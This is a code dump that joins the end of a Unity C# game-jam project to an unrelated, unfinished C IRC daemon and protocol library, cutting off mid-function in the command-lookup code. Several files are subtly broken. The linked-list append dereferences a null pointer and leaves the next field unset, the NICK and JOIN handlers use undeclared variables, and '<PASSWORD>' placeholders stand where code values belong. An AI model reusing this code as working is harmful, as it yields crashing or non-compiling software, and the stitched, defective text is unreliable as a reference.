"Pointer_Collider_Bottom")
{
controller.Pointer.sprite = controller.PointerSprites[2];
} else if (pointer_location.collider.name ==
"Pointer_Collider_Right")
{
controller.Pointer.sprite = controller.PointerSprites[3];
}
controller.Pointer.enabled = true;
Pointer.position = pointer_location.point;
}
}
Pointer.position = new Vector3(
Mathf.RoundToInt(Pointer.position.x),
Mathf.RoundToInt(Pointer.position.y),
Mathf.RoundToInt(Pointer.position.z));
}
public void SetPlayer (PlayerEntity player)
{
Player = player;
world_position = player.OffsetPosition;
Vector3 screen_position = new Vector3(
Mathf.RoundToInt(world_position.x),
Mathf.RoundToInt(world_position.y),
CameraZOffset);
transform.position = screen_position;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BaseEntity : MonoBehaviour {
[SerializeField]
protected Vector2 screenPosition;
[SerializeField]
protected Vector2 screenPositionOffset;
protected GameObject EntitySprite;
public Vector2 ScreenPosition
{
get { return screenPosition; }
}
public Vector2 OffsetPosition
{
get { return (Vector2)transform.position + screenPositionOffset;}
}
public GameObject ScreenPrefab;
// Use this for initialization
protected virtual void Start () {
Initialize();
}
// Update is called once per frame
protected virtual void Update () {
screenPosition.x = Mathf.RoundToInt(transform.position.x);
screenPosition.y = Mathf.RoundToInt(transform.position.y);
EntitySprite.transform.position = new Vector3(screenPosition.x,
screenPosition.y,
screenPosition.y);
}
public virtual void Initialize()
{
if (!EntitySprite)
{
screenPosition = transform.position;
EntitySprite = Instantiate(ScreenPrefab, screenPosition,
Quaternion.identity);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;
public class EndController : MonoBehaviour {
public Image blackout;
public float fadeTime;
public Color blackoutColor;
public Color clearColor;
public Color currentColor;
public int sceneIndex = 0;
// Use this for initialization
void Start () {
fadeTime = 0;
Time.timeScale = 1;
}
// Update is called once per frame
void Update() {
fadeTime += Time.deltaTime;
if (Input.GetKeyDown(KeyCode.Escape))
{
Application.Quit();
}
if (fadeTime < 2)
{
currentColor = Color.Lerp(blackoutColor, clearColor, fadeTime / 2);
blackout.color = currentColor;
Debug.Log(blackout.color);
} else
{
if (Input.anyKeyDown)
{
ScoreManager.Instance.Reset();
SceneManager.LoadScene(sceneIndex);
}
}
}
}
<file_sep>using UnityEngine;
public class StaticEntity : MonoBehaviour {
[SerializeField]
private Vector2 screenPositionOffset;
public void Initialize()
{
Vector2 worldPosition = (Vector2)transform.position;
Vector2 screenPosition = new Vector2(Mathf.RoundToInt(worldPosition.x),
Mathf.RoundToInt(worldPosition.y));
transform.position = screenPosition + screenPositionOffset;
}
}
|
8067a9d2cba48cb76d8a04791ed00cd7701a425e
|
[
"C#"
] | 10
|
C#
|
rjhelms/PtboGameJam02
|
344b11a779ec47af3aec48c063269f40deec813c
|
6f19770177e3057befbfc3cdcf29bd3e76b4e353
|
refs/heads/master
|
<file_sep>
#include <stdlib.h>
#include "llist.h"
static t_llist *new_llist_node(void *data)
{
t_llist *n;
if (!(n = malloc(sizeof(*n))))
return (NULL);
n->data = data;
return (n);
}
int llist_add(t_llist **list, void *d)
{
t_llist *node;
t_llist *it;
if (!(node = new_llist_node(d)))
return (1);
if (!*list)
{
*list = node;
return (0);
}
it = *list;
while ((it = it->next));
it->next = node;
return (0);
}
int llist_delete(t_llist **list, void *d, t_llist_cmp cmp)
{
int del;
t_llist *prev;
t_llist *next;
t_llist *it;
del = 0;
prev = NULL;
it = *list;
while (it)
{
if (!cmp(d, it->data))
{
if (prev)
prev->next = it->next;
else
*list = it->next;
next = it->next;
del++;
free(it);
}
else
{
prev = it;
next = it->next;
}
it = next;
}
return (del);
}
void *llist_find(t_llist **list, void *d, t_llist_cmp cmp)
{
t_llist *it;
if (!*list)
return (NULL);
it = *list;
while (it)
{
if (!cmp(d, it->data))
return it->data;
it = it->next;
}
return (NULL);
}
<file_sep>
#include <string.h>
#include "proto.h"
#include "mode.h"
#include "user.h"
#include "irc.h"
#include "umatch.h"
static int check_params(t_user *user, const t_message *msg)
{
if (!msg->params || !msg->params[0] || !msg->params[1])
{
push_message_to_user(user, new_message(ERR_NEEDMOREPARAMS, NULL, 2,
strdup("OPER"),
strdup("Not enough parameters")));
return (1);
}
return (0);
}
static int check_oline(t_irc *irc, t_user *user, char *name, char *password)
{
t_oper op;
t_oper *oline;
op.match.user = name;
op.match.host = user->host;
op.password = <PASSWORD>;
if (!(oline = find_oper(&irc->olines, &op, &oper_cmp)))
{
push_message_to_user(user, new_message(ERR_NOOPERHOST, NULL, 1,
strdup("No O-lines for your host")));
return (1);
}
else if (strcmp(password, oline->password))
{
push_message_to_user(user, new_message(ERR_PASSWDMISMATCH, NULL, 1,
strdup("Password incorrect")));
return (1);
}
return (0);
}
int oper(t_irc *irc, t_user *user, const t_message *msg)
{
if (check_params(user, msg)
|| check_oline(irc, user, msg->params[0], msg->params[1]))
return (1);
MODE_SET(user->mode, MODE_O);
push_message_to_user(user, new_message(RPL_YOUREOPER, NULL, 1,
strdup("You are now an IRC operator")));
return (0);
}
<file_sep>
#include <string.h>
#include <stdlib.h>
#include "message.h"
int parse_command(t_message *msg, char **str)
{
unsigned i;
unsigned len;
i = 0;
while (i < (sizeof(cmd_converter) / sizeof(*cmd_converter)))
{
len = strlen(cmd_converter[i].string);
if (!strncmp(*str, cmd_converter[i].string, len))
{
msg->command = cmd_converter[i].cmd;
*str += len;
if (**str == ' ')
(*str)++;
return (0);
}
i++;
}
return (1);
}
<file_sep>
#include <stdlib.h>
#include "llist.h"
#include "umatch.h"
#include "mode.h"
t_ban *new_ban(char *u, char *h, char *c)
{
t_ban *b;
if (!(b = malloc(sizeof(*b))))
return (NULL);
b->match.user = u;
b->match.host = h;
b->comment = c;
return (b);
}
int ban_cmp(t_ban *a, t_ban *b)
{
return (match_cmp(&a->match, &b->match));
}
int add_ban(t_banlist **l, t_ban *m)
{
return (llist_add((t_llist **)l, (void *)m));
}
int delete_ban(t_banlist **l, t_ban *m, t_ban_cmp cmp)
{
return (llist_delete((t_llist **)l, (void *)m, (t_llist_cmp)cmp));
}
t_ban *find_ban(t_banlist **l, t_ban *m, t_ban_cmp cmp)
{
return ((t_ban *)llist_find((t_llist **)l, (void *)m, (t_llist_cmp)cmp));
}
<file_sep>#include <stdio.h>
#include <stdlib.h>
#include "message.h"
int main(int ac, char **av)
{
t_message msg;
int ok;
char **p;
msg.prefix = NULL;
msg.command = 0;
msg.params = NULL;
if (ac == 2)
ok = parse_message(&msg, av[1]);
printf("-- Parsing %s --\n", (!ok ? "OK" : "KO"));
printf("prefix: %s\n", msg.prefix);
printf("command: %d\n", msg.command);
printf("params:\n");
for (p = msg.params; *p; p++)
printf("\t%s\n", *p);
printf("Recomposing command string:\n");
printf("%s\n", get_string_from_message(&msg));
return (0);
}
<file_sep>#
# Makefile for IRK IRC daemon
#
NAME= irkd
SRCD= src/
CMDD= commands/
INCD= inc/ \
../lib/inc/
SRCF= main.c \
oper.c \
ban.c \
umatch.c \
user.c \
channel.c \
usermode.c \
push_message.c \
buffer.c \
process_message.c
CMDF= oper.c \
user.c \
nick.c
SRCF+= $(addprefix $(CMDD), $(CMDF))
SRC= $(addprefix $(SRCD), $(SRCF))
OBJ= $(SRC:.c=.o)
CC= gcc
RM= @rm -fv
INCFLAGS= $(addprefix -I, $(INCD))
CFLAGS+= -W -Wall -Wextra $(INCFLAGS)
LDFLAGS+= -L../lib -lircproto -lllist
$(NAME): $(OBJ)
$(CC) -o $@ $^ $(LDFLAGS)
all: $(NAME)
clean:
$(RM) $(OBJ)
fclean: clean
$(RM) $(NAME)
re: fclean all
<file_sep>#
# Makefile for lib proto (IRC)
#
NAME= libircproto.a
SRCD= src/
INCD= inc/
SRCF= parse_command.c \
parse_message.c \
parse_params.c \
parse_prefix.c \
convert_cmd.c \
new_message.c \
get_string_from_message.c
SRC= $(addprefix $(SRCD), $(SRCF))
OBJ= $(SRC:.c=.o)
CFLAGS+= -W -Wall -O2 -I$(INCD) -D_GNU_SOURCE
RM= @rm -vf
CP= @cp -v
AR= ar rcv
RAN= ranlib
$(NAME): $(OBJ)
$(AR) $@ $^
$(RAN) $@
$(CP) $@ ../$@
all: $(NAME)
clean:
$(RM) $(OBJ)
fclean: clean
$(RM) $(NAME)
$(RM) ../$(NAME)
re: fclean all
<file_sep>
#include <stdlib.h>
#include <string.h>
#include "llist.h"
#include "umatch.h"
#include "user.h"
int user_cmp(t_user *a, t_user *b)
{
return (strcmp(a->name, b->name));
}
int add_user(t_userlist **l, t_user *u)
{
return (llist_add((t_llist **)l, (void *)u));
}
int delete_user(t_userlist **l, t_user *u, t_user_cmp cmp)
{
return (llist_delete((t_llist **)l, (void *)u, (t_llist_cmp )cmp));
}
t_user *find_user(t_userlist **l, t_user *u, t_user_cmp cmp)
{
return (llist_find((t_llist **)l, (void *)u, (t_llist_cmp )cmp));
}
<file_sep>
#include <stdlib.h>
#include <stdio.h>
#include "proto.h"
int main(int ac, char **av)
{
(void)av[ac];
return (0);
}
<file_sep>
#ifndef IRC_H_
# define IRC_H_
# include "proto.h"
# include "mode.h"
# include "user.h"
# include "channel.h"
typedef struct
{
t_userlist *users;
t_chanlist *channels;
t_banlist *klines;
t_operlist *olines;
} t_irc;
typedef int (*t_cmd_callback)(t_irc *irc, t_user *from, const t_message *msg);
typedef struct
{
t_command cmd;
t_cmd_callback f;
} t_command_caller;
# define CMD_CALLER_SIZE 6
int process_message(t_irc *irc, t_user *from, const t_message *msg);
/*
** Callbacks
*/
int oper(t_irc *irc, t_user *from, const t_message *msg);
int user(t_irc *irc, t_user *from, const t_message *msg);
int nick(t_irc *irc, t_user *from, const t_message *msg);
int join(t_irc *irc, t_user *from, const t_message *msg);
int part(t_irc *irc, t_user *from, const t_message *msg);
int quit(t_irc *irc, t_user *from, const t_message *msg);
#endif /* !IRC_H_ */
<file_sep>#ifndef USER_H_
# define USER_H_
# include "llist.h"
# include "proto.h"
# include "mode.h"
# include "buffer.h"
typedef t_llist t_chanlist;
typedef struct
{
char *name;
char *host;
char *realname;
t_mode mode;
t_chanlist *channels;
t_buffer obuf;
} t_user;
typedef t_llist t_userlist;
typedef int (*t_user_cmp)(t_user *a, t_user *b);
typedef struct
{
t_user *user;
t_mode mode;
} t_usermode;
typedef t_llist t_usermodelist;
typedef int (*t_usermode_cmp)(t_usermode *a, t_usermode *b);
int push_message_to_user(t_user *user, t_message *msg);
int user_cmp(t_user *a, t_user *u);
int add_user(t_userlist **l, t_user *u);
int delete_user(t_userlist **l, t_user *u, t_user_cmp cmp);
t_user *find_user(t_userlist **l, t_user *u, t_user_cmp cmp);
int usermode_cmp(t_usermode *a, t_usermode *b);
int add_usermode(t_usermodelist **l, t_usermode *um);
int delete_usermode(t_usermodelist **l, t_usermode *um, t_usermode_cmp cmp);
t_usermode *find_usermode(t_usermodelist **l, t_usermode *um, t_usermode_cmp cmp);
#endif /* !USER_H_ */
<file_sep>
#include <string.h>
#include <stdlib.h>
#include "irc.h"
#include "user.h"
#include "proto.h"
static int check_params(t_user *user, const t_message *msg)
{
if (!msg->params || !msg->params[0])
{
push_message_to_user(user, new_message(ERR_NEEDMOREPARAMS, NULL, 2,
strdup("JOIN"),
strdup("Not enough parameters")));
return (1);
}
return (0);
}
static int check_chan_name(t_user *user, char *chan)
{
if (*chan != '#' && *chan != '&')
{
push_message_to_user(user, new_message(ERR_NOSUCHCHANNEL, NULL, 2,
strdup(chan),
strdup("No such channel")));
return (1);
}
return (0);
}
static int join_channel(t_channel *chan, t_user *user)
{
t_ban *ban;
t_ban cmp;
t_usermode *mode;
cmp.match.user = user->name;
cmp.match.host = user->host;
if ((ban = find_ban(&chan->banlist, &cmp, &ban_cmp)))
{
push_message_to_user(user, new_message(ERR_BANNEDFROMCHAN, NULL, 2,
strdup(chan->name),
strdup("Cannot join channel (+b)")));
return (1);
}
if (!(mode = malloc(sizeof(*mode))))
return (1);
mode->user = user;
mode->mode = 0;
add_usermode(&chan->users, mode);
push_message_to_user(user, new_message(RPL_TOPIC, NULL, 2,
strdup(chan->name),
(chan->topic ? strdup(chan->topic) : "")));
push_message_to_chan(chan, new_message(JOIN, user->name, 1, chan->name));
return (0);
}
static int create_channel(t_irc *irc, t_user *user, char *name)
{
t_channel *chan;
if (!(chan = new_channel(name))
|| !(mode = malloc(sizeof(*mode))))
return (1);
mode->user = user;
mode->mode = MODE_O;
add_usermode(&chan->users, mode);
push_message_to_user(user, new_message(RPL_TOPIC, NULL, 2,
strdup(chan->name),
(chan->topic ? strdup(chan->topic) : "")));
if (add_channel(&irc->channels, chan))
{
free(mode);
free_channel(chan);
return (1);
}
return (0);
}
int join(t_irc *irc, t_user *from, const t_message *msg)
{
t_channel *chan;
t_channel cmp;
if (check_params(from, msg)
|| check_chan_name(from, msg->params[0]))
return (1);
cmp.name = msg->params[0];
if ((chan = find_channel(&irc->channels, &cmp, &channel_cmp)))
return (join_channel(chan, from));
return (create_channel(irc, from, msg->params[0]));
}
<file_sep>
#include <stdlib.h>
#include <string.h>
#include "llist.h"
#include "umatch.h"
#include "channel.h"
t_channel *new_channel(char *name)
{
t_channel *chan;
if (!(chan = malloc(sizeof(*chan)))
|| !(chan->name = strdup(name)))
return (NULL);
chan->topic = NULL;
chan->password = <PASSWORD>;
chan->limit = 0;
chan->mode = 0;
chan->users = NULL;
chan->banlist = NULL;
chan->buffer.size = 0;
chan->buffer.list = NULL;
return (chan);
}
int channel_cmp(t_channel *a, t_channel *b)
{
return (strcmp(a->name, b->name));
}
int add_channel(t_chanlist **l, t_channel *c)
{
return (llist_add((t_llist **)l, (void *)c));
}
int delete_channel(t_chanlist **l, t_channel *c, t_channel_cmp cmp)
{
return (llist_delete((t_llist **)l, (void *)c, (t_llist_cmp )cmp));
}
t_channel *find_channel(t_chanlist **l, t_channel *c, t_channel_cmp cmp)
{
return (llist_find((t_llist **)l, (void *)c, (t_llist_cmp )cmp));
}
<file_sep>
#ifndef CHANNEL_H_
# define CHANNEL_H_
# include "llist.h"
# include "mode.h"
# include "user.h"
# include "buffer.h"
struct s_channel
{
char *name;
char *topic;
char *password;
unsigned limit;
t_mode mode;
t_usermodelist *users;
t_banlist *banlist;
t_buffer obuf;
};
typedef struct s_channel t_channel;
typedef t_llist t_chanlist;
typedef int (*t_channel_cmp)(t_channel *a, t_channel *b);
int chanel_cmp(t_channel *a, t_channel *b);
int add_channel(t_chanlist **l, t_channel *c);
int delete_channel(t_chanlist **l, t_channel *c, t_channel_cmp cmp);
t_channel *find_channel(t_chanlist **l, t_channel *c, t_channel_cmp cmp);
int push_message_to_chan(t_channel *chan, t_message *msg);
#endif /* !CHANNEL_H_ */
<file_sep>
#include <stdlib.h>
#include <string.h>
#include "irc.h"
#include "proto.h"
#include "user.h"
static int check_params(t_user *user, const t_message *msg)
{
if (!msg->params || !msg->params[0])
{
push_message_to_user(user, new_message(ERR_NONICKNAMEGIVEN, NULL, 1,
strdup("No nickname given")));
return (1);
}
return (0);
}
static int check_nick(t_irc *irc, t_user *user, char *name)
{
t_user cmp;
cmp.name = name;
if (find_user(&irc->users, &cmp, &user_cmp))
{
push_message_to_user(user, new_message(ERR_NICKNAMEINUSE, NULL, 2,
strdup(msg->params[0]),
strdup("Nickname is already in use")));
return (1);
}
return (0);
}
int nick(t_irc *irc, t_user *from, const t_message *msg)
{
if (check_params(user, msg)
|| check_nick(irc, user, msg->params[0]))
return (1);
free(from->name);
from->name = strdup(msg->params[0]);
return (0);
}
<file_sep>
#ifndef BAN_H_
# define BAN_H_
#endif
<file_sep>
#ifndef MESSAGE_H_
# define MESSAGE_H_
# include <stdarg.h>
# define VALID_SPECIAL ".@!_-[]{}\\`^"
# define INVALID_MIDDLE "\r\n "
typedef enum
{
OPER,
PASS,
USER,
NICK,
NOTICE,
PRIVMSG,
MODE,
INVITE,
TOPIC,
KICK,
JOIN,
PART,
QUIT,
WHO,
WHOIS,
WHOWAS,
NAMES,
LIST,
VERSION,
TIME,
PING,
PONG,
ERROR,
REHASH,
RESTART,
RPL_NONE,
RPL_USERHOST,
RPL_ISON,
RPL_AWAY,
RPL_UNAWAY,
RPL_NOWAWAY,
RPL_WHOISUSER,
RPL_WHOISSERVER,
RPL_WHOISOPERATOR,
RPL_WHOISIDLE,
RPL_ENDOFWHOIS,
RPL_WHOISCHANNELS,
RPL_WHOWASUSER,
RPL_ENDOFWHOWAS,
RPL_LISTSTART,
RPL_LIST,
RPL_LISTEND,
RPL_CHANNELMODEIS,
RPL_NOTOPIC,
RPL_TOPIC,
RPL_INVITING,
RPL_SUMMONING,
RPL_VERSION,
RPL_WHOREPLY,
RPL_ENDOFWHO,
RPL_NAMREPLY,
RPL_ENDOFNAMES,
RPL_LINKS,
RPL_ENDOFLINKS,
RPL_BANLIST,
RPL_ENDOFBANLIST,
RPL_INFO,
RPL_ENDOFINFO,
RPL_MOTDSTART,
RPL_MOTD,
RPL_ENDOFMOTD,
RPL_YOUREOPER,
RPL_REHASHING,
RPL_TIME,
RPL_USERSSTART,
RPL_USERS,
RPL_ENDOFUSERS,
RPL_NOUSERS,
RPL_TRACELINK,
RPL_TRACECONNECTING,
RPL_TRACEHANDSHAKE,
RPL_TRACEUNKNOWN,
RPL_TRACEOPERATOR,
RPL_TRACEUSER,
RPL_TRACESERVER,
RPL_TRACENEWTYPE,
RPL_TRACELOG,
RPL_STATSLINKINFO,
RPL_STATSCOMMANDS,
RPL_STATSCLINE,
RPL_STATSNLINE,
RPL_STATSILINE,
RPL_STATSKLINE,
RPL_STATSYLINE,
RPL_ENDOFSTATS,
RPL_STATSLLINE,
RPL_STATSUPTIME,
RPL_STATSOLINE,
RPL_STATSHLINE,
RPL_UMODEIS,
RPL_LUSERCLIENT,
RPL_LUSEROP,
RPL_LUSERUNKNOWN,
RPL_LUSERCHANNELS,
RPL_LUSERME,
RPL_ADMINME,
RPL_ADMINLOC,
RPL_ADMINEMAIL,
ERR_NOSUCHNICK,
ERR_NOSUCHSERVER,
ERR_NOSUCHCHANNEL,
ERR_CANNOTSENDTOCHAN,
ERR_TOOMANYCHANNELS,
ERR_WASNOSUCHNICK,
ERR_TOOMANYTARGETS,
ERR_NOORIGIN,
ERR_NORECIPIENT,
ERR_NOTEXTTOSEND,
ERR_NOTOPLEVEL,
ERR_WILDTOPLEVEL,
ERR_UNKNOWNCOMMAND,
ERR_NOMOTD,
ERR_NOADMININFO,
ERR_FILEERROR,
ERR_NONICKNAMEGIVEN,
ERR_ERRONEUSNICKNAME,
ERR_NICKNAMEINUSE,
ERR_NICKCOLLISION,
ERR_USERNOTINCHANNEL,
ERR_NOTONCHANNEL,
ERR_USERONCHANNEL,
ERR_NOLOGIN,
ERR_SUMMONDISABLED,
ERR_USERSDISABLED,
ERR_NOTREGISTERED,
ERR_NEEDMOREPARAMS,
ERR_ALREADYREGISTRED,
ERR_NOPERMFORHOST,
ERR_PASSWDMISMATCH,
ERR_YOUREBANNEDCREEP,
ERR_KEYSET,
ERR_CHANNELISFULL,
ERR_UNKNOWNMODE,
ERR_INVITEONLYCHAN,
ERR_BANNEDFROMCHAN,
ERR_BADCHANNELKEY,
ERR_NOPRIVILEGES,
ERR_CHANOPRIVSNEEDED,
ERR_CANTKILLSERVER,
ERR_NOOPERHOST,
ERR_UMODEUNKNOWNFLAG,
ERR_USERSDONTMATCH,
NOCOMMAND
} t_command;
/*
** Used to match commands with the enum
*/
typedef struct {
t_command cmd;
char *string;
} t_cmd_converter;
# define CMD_CONVERTER_SIZE 142
extern const t_cmd_converter cmd_converter[CMD_CONVERTER_SIZE];
/*
** params: NULL terminated array of params
*/
typedef struct {
t_command command;
char *prefix;
char **params;
} t_message;
t_message *new_message(t_command cmd, char *prefix, int np, ...);
int parse_message(t_message *ret, const char *msg);
/*
** the returned string has to be freed
*/
char *get_string_from_message(const t_message *msg);
t_command command_from_string(const char *str);
const char *command_to_string(t_command cmd);
/*
** Internal use only
*/
int parse_prefix(t_message *ret, char **str);
int parse_command(t_message *ret, char **str);
int parse_params(t_message *ret, char **str);
#endif /* !MESSAGE_H_ */
<file_sep>
#ifndef UMATCH_H_
# define UMATCH_H_
# include "llist.h"
typedef struct
{
char *user;
char *host;
} t_umatch;
typedef t_llist t_umatchlist;
typedef int (*t_umatch_cmp)(t_umatch *a, t_umatch *b);
t_umatch *new_umatch(char *u, char *h);
int match_cmp(t_umatch *a, t_umatch *b);
int add_match(t_umatchlist **list, t_umatch *m);
int delete_match(t_umatchlist **list, t_umatch *m, t_umatch_cmp cmp);
t_umatch *find_match(t_umatchlist **list, t_umatch *m, t_umatch_cmp cmp);
#endif /* !UMATCH_H_ */
<file_sep>
#include <string.h>
#include <stdlib.h>
#include "umatch.h"
t_umatch *new_umatch(char *u, char *h)
{
t_umatch *m;
if (!(m = malloc(sizeof(*m))))
return (NULL);
m->user = u;
m->host = h;
return (m);
}
int match_cmp(t_umatch *a, t_umatch *b)
{
if (((!a->user && !b->user)
|| (a->user && b->user && !strcmp(a->user, b->user)))
&& ((!a->host && !b->host)
|| (a->host && b->host && !strcmp(a->host, b->host))))
return (0);
return (1);
}
int add_match(t_umatchlist **l, t_umatch *m)
{
return (llist_add((t_llist **)l, (void *)m));
}
int delete_match(t_umatchlist **l, t_umatch *m, t_umatch_cmp cmp)
{
return (llist_delete((t_llist **)l, (void *)m, (t_llist_cmp)cmp));
}
t_umatch *find_match(t_umatchlist **l, t_umatch *m, t_umatch_cmp cmp)
{
return ((t_umatch *)llist_find((t_llist **)l, (void *)m, (t_llist_cmp)cmp));
}
<file_sep>
#include <stdlib.h>
#include "buffer.h"
#include "user.h"
#include "channel.h"
#include "proto.h"
int push_message_to_user(t_user *user, t_message *msg)
{
char *str;
int ret;
if (!(str = get_string_from_message(msg)))
return (1);
ret = buffer_append(&user->obuf, str);
free(str);
free(msg->params);
free(msg->prefix);
free(msg);
return (ret);
}
int push_message_to_chan(t_channel *chan, t_message *msg)
{
char *str;
int ret;
if (!(str = get_string_from_message(msg)))
return (1);
ret = buffer_append(&chan->obuf, str);
free(str);
free(msg->params);
free(msg->prefix);
free(msg);
return (ret);
}
<file_sep>
#ifndef MODE_H_
# define MODE_H_
# include "umatch.h"
# include "llist.h"
# define MODE_O (1 << 0)
# define MODE_P (1 << 1)
# define MODE_S (1 << 2)
# define MODE_I (1 << 3)
# define MODE_T (1 << 4)
# define MODE_N (1 << 5)
# define MODE_M (1 << 6)
# define MODE_L (1 << 7)
# define MODE_B (1 << 8)
# define MODE_V (1 << 9)
# define MODE_K (1 << 10)
# define MODE_W (1 << 11)
# define MODE_SET(mask, mode) (mask |= mode)
# define MODE_UNSET(mask, mode) (mask ^= mode)
# define MODE_ISSET(mask, mode) (mask & mode)
typedef unsigned t_mode;
typedef struct
{
t_umatch match;
char *comment;
} t_ban;
typedef t_llist t_banlist;
typedef int (*t_ban_cmp)(t_ban *a, t_ban *b);
typedef struct
{
t_umatch match;
char *password;
} t_oper;
typedef t_llist t_operlist;
typedef int (*t_oper_cmp)(t_oper *a, t_oper *b);
int ban_cmp(t_ban *a, t_ban *b);
int add_ban(t_banlist **l, t_ban *b);
int delete_ban(t_banlist **l, t_ban *b, t_ban_cmp cmp);
t_ban *find_ban(t_banlist **l, t_ban *b, t_ban_cmp cmp);
int oper_cmp(t_oper *a, t_oper *o);
int add_oper(t_operlist **l, t_oper *o);
int delete_oper(t_operlist **l, t_oper *o, t_oper_cmp cmp);
t_oper *find_oper(t_operlist **l, t_oper *o, t_oper_cmp cmp);
#endif /* !MODE_H_ */
<file_sep>#include <stdlib.h>
#include <string.h>
#include "llist.h"
#include "umatch.h"
#include "user.h"
int usermode_cmp(t_usermode *a, t_usermode *b)
{
return (user_cmp(a->user, b->user));
}
int add_usermode(t_usermodelist **l, t_usermode *u)
{
return (llist_add((t_llist **)l, (void *)u));
}
int delete_usermode(t_usermodelist **l, t_usermode *u, t_usermode_cmp cmp)
{
return (llist_delete((t_llist **)l, (void *)u, (t_llist_cmp )cmp));
}
t_usermode *find_usermode(t_usermodelist **l, t_usermode *u, t_usermode_cmp cmp)
{
return (llist_find((t_llist **)l, (void *)u, (t_llist_cmp )cmp));
}
<file_sep>
#include <string.h>
#include "message.h"
const t_cmd_converter cmd_converter[CMD_CONVERTER_SIZE] =
{
{OPER, "OPER"},
{PASS, "PASS"},
{USER, "USER"},
{NICK, "NICK"},
{NOTICE, "NOTICE"},
{PRIVMSG, "PRIVMSG"},
{MODE, "MODE"},
{INVITE, "INVITE"},
{TOPIC, "TOPIC"},
{KICK, "KICK"},
{JOIN, "JOIN"},
{PART, "PART"},
{QUIT, "QUIT"},
{WHO, "WHO"},
{WHOIS, "WHOIS"},
{WHOWAS, "WHOWAS"},
{NAMES, "NAMES"},
{LIST, "LIST"},
{VERSION, "VERSION"},
{TIME, "TIME"},
{PING, "PING"},
{PONG, "PONG"},
{ERROR, "ERROR"},
{REHASH, "REHASH"},
{RESTART, "RESTART"},
{RPL_NONE,"300"},
{RPL_USERHOST,"302"},
{RPL_ISON,"303"},
{RPL_AWAY,"301"},
{RPL_UNAWAY,"305"},
{RPL_NOWAWAY,"306"},
{RPL_WHOISUSER,"311"},
{RPL_WHOISSERVER,"312"},
{RPL_WHOISOPERATOR,"313"},
{RPL_WHOISIDLE,"317"},
{RPL_ENDOFWHOIS,"318"},
{RPL_WHOISCHANNELS,"319"},
{RPL_WHOWASUSER,"314"},
{RPL_ENDOFWHOWAS,"369"},
{RPL_LISTSTART,"321"},
{RPL_LIST,"322"},
{RPL_LISTEND,"323"},
{RPL_CHANNELMODEIS,"324"},
{RPL_NOTOPIC,"331"},
{RPL_TOPIC,"332"},
{RPL_INVITING,"341"},
{RPL_SUMMONING,"342"},
{RPL_VERSION,"351"},
{RPL_WHOREPLY,"352"},
{RPL_ENDOFWHO,"315"},
{RPL_NAMREPLY,"353"},
{RPL_ENDOFNAMES,"366"},
{RPL_LINKS,"364"},
{RPL_ENDOFLINKS,"365"},
{RPL_BANLIST,"367"},
{RPL_ENDOFBANLIST,"368"},
{RPL_INFO,"371"},
{RPL_ENDOFINFO,"374"},
{RPL_MOTDSTART,"375"},
{RPL_MOTD,"372"},
{RPL_ENDOFMOTD,"376"},
{RPL_YOUREOPER,"381"},
{RPL_REHASHING,"382"},
{RPL_TIME,"391"},
{RPL_USERSSTART,"392"},
{RPL_USERS,"393"},
{RPL_ENDOFUSERS,"394"},
{RPL_NOUSERS,"395"},
{RPL_TRACELINK,"200"},
{RPL_TRACECONNECTING,"201"},
{RPL_TRACEHANDSHAKE,"202"},
{RPL_TRACEUNKNOWN,"203"},
{RPL_TRACEOPERATOR,"204"},
{RPL_TRACEUSER,"205"},
{RPL_TRACESERVER,"206"},
{RPL_TRACENEWTYPE,"208"},
{RPL_TRACELOG,"261"},
{RPL_STATSLINKINFO,"211"},
{RPL_STATSCOMMANDS,"212"},
{RPL_STATSCLINE,"213"},
{RPL_STATSNLINE,"214"},
{RPL_STATSILINE,"215"},
{RPL_STATSKLINE,"216"},
{RPL_STATSYLINE,"218"},
{RPL_ENDOFSTATS,"219"},
{RPL_STATSLLINE,"241"},
{RPL_STATSUPTIME,"242"},
{RPL_STATSOLINE,"243"},
{RPL_STATSHLINE,"244"},
{RPL_UMODEIS,"221"},
{RPL_LUSERCLIENT,"251"},
{RPL_LUSEROP,"252"},
{RPL_LUSERUNKNOWN,"253"},
{RPL_LUSERCHANNELS,"254"},
{RPL_LUSERME,"255"},
{RPL_ADMINME,"256"},
{RPL_ADMINLOC,"258"},
{RPL_ADMINEMAIL,"259"},
{ERR_NOSUCHNICK,"401"},
{ERR_NOSUCHSERVER,"402"},
{ERR_NOSUCHCHANNEL,"403"},
{ERR_CANNOTSENDTOCHAN,"404"},
{ERR_TOOMANYCHANNELS,"405"},
{ERR_WASNOSUCHNICK,"406"},
{ERR_TOOMANYTARGETS,"407"},
{ERR_NOORIGIN,"409"},
{ERR_NORECIPIENT,"411"},
{ERR_NOTEXTTOSEND,"412"},
{ERR_NOTOPLEVEL,"413"},
{ERR_WILDTOPLEVEL,"414"},
{ERR_UNKNOWNCOMMAND,"421"},
{ERR_NOMOTD,"422"},
{ERR_NOADMININFO,"423"},
{ERR_FILEERROR,"424"},
{ERR_NONICKNAMEGIVEN,"431"},
{ERR_ERRONEUSNICKNAME,"432"},
{ERR_NICKNAMEINUSE,"433"},
{ERR_NICKCOLLISION,"436"},
{ERR_USERNOTINCHANNEL,"441"},
{ERR_NOTONCHANNEL,"442"},
{ERR_USERONCHANNEL,"443"},
{ERR_NOLOGIN,"444"},
{ERR_SUMMONDISABLED,"445"},
{ERR_USERSDISABLED,"446"},
{ERR_NOTREGISTERED,"451"},
{ERR_NEEDMOREPARAMS,"461"},
{ERR_ALREADYREGISTRED,"462"},
{ERR_NOPERMFORHOST,"463"},
{ERR_PASSWDMISMATCH,"464"},
{ERR_YOUREBANNEDCREEP,"465"},
{ERR_KEYSET,"467"},
{ERR_CHANNELISFULL,"471"},
{ERR_UNKNOWNMODE,"472"},
{ERR_INVITEONLYCHAN,"473"},
{ERR_BANNEDFROMCHAN,"474"},
{ERR_BADCHANNELKEY,"475"},
{ERR_NOPRIVILEGES,"481"},
{ERR_CHANOPRIVSNEEDED,"482"},
{ERR_CANTKILLSERVER,"483"},
{ERR_NOOPERHOST,"491"},
{ERR_UMODEUNKNOWNFLAG,"501"},
{ERR_USERSDONTMATCH,"502"}
};
const char *command_to_string(t_command cmd)
{
unsigned i;
i = 0;
while (i < CMD_CONVERTER_SIZE)
{
if (cmd_converter[i].cmd == cmd)
return cmd_converter[i].string;
i++;
}
return (NULL);
}
t_command command_from_string(const char *str)
{
unsigned i;
i = 0;
while (i < CMD_CONVERTER_SIZE)
{
